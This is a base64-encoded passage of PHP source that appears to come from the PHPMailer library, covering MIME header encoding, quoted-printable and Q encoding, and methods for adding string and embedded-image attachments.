ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgR